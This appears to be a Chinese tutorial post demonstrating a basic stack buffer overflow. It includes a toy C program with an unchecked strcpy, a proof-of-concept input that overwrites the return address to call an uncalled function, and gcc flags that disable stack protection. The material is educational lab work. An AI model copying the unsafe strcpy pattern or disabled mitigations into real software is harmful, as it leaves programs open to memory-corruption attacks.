简单栈溢出利用
发表于:2025-12-01 作者:千家信息网编辑
千家信息网最后更新 2025年12月01日,#include#includevoid fun(char *name){ char buf[10]; strcpy(buf,name); printf("%s\n",buf);}v
千家信息网最后更新 2025年12月01日简单栈溢出利用
#include#include void fun(char *name){ char buf[10]; strcpy(buf,name); printf("%s\n",buf);}void hack(){ printf("flag\n");}int main(){ char name[]="Alex@bbb"; fun(name); return 0;}
上面的程序是一个正常的C语言程序,但是main函数中没有调用hack()函数,下面我就演示下如何利用缓冲区溢出来执行hack函数的内容。
使用codeblocks编译并执行上述程序后,拖入od查看栈的变化情况,看看给变量name赋什么值的时候,会恰好覆盖掉call fun处的函数返回地址

F7跟进 F8 一句一句执行:
因此我们添加poc:
#include#include void fun(char *name){ char buf[10]; strcpy(buf,name); printf("%s\n",buf);}void hack(){ printf("flag\n");}int main(){ char name[]="Alex@bbbaaaaaaaaaaaaaa\x59\x13\x40\00"; //这里后边四个为hack()函数地址 fun(name); return 0;}
重新编译执行后,我们发现利用成功:
在使用ubuntu复现栈溢出的时候需要关闭栈保护机制:
使用gcc编译时全部关闭保护机制,参数-fno-stack-protector用来关闭gcc编译器gs验证码机制,
-z execstack用来关闭ld链接器堆栈段不可执行机制。
这里有一个linux下64位的栈溢出过程。
https://www.secpulse.com/archives/32328.html
函数
机制
编译
程序
地址
时候
保护
成功
内容
参数
变量
堆栈
情况
缓冲区
编译器
语言
语言程序
过程
链接
面的
数据库的安全要保护哪些东西
数据库安全各自的含义是什么
生产安全数据库录入
数据库的安全性及管理
数据库安全策略包含哪些
海淀数据库安全审计系统
建立农村房屋安全信息数据库
易用的数据库客户端支持安全管理
连接数据库失败ssl安全错误
数据库的锁怎样保障安全
我的世界沙雕服务器推荐
服务器2016系统
王者荣耀pc端服务器
兰州展厅多媒体软件开发
北京优美风尚网络技术
上海网络安全宣传周什么区
第三方独立城市网络安全运营中心
sql数据库入门基础知识
大话西游2最新服务器
网络安全治理体系研究
仙桃哪里有软件开发团队
部队无线网络安全
索引和数据库技术
中国网络安全检测技术公司
怎么删除hive仓库的数据库
国泰安数据库使用规范
数据库包含的数据库对象
为什么网络安全模式能打开
个人软件开发怎么开票
网络安全与信息化工作总结
广州社交软件开发公司
数据库的安全性保护
荷兰 服务器抗投诉
如何搭建自己的服务器
大学网络技术毕业论文
可以搭建服务器的单机游戏
java dns服务器
我的世界多玩服务器怎么用
江淮官话语音数据库
人类足迹数据库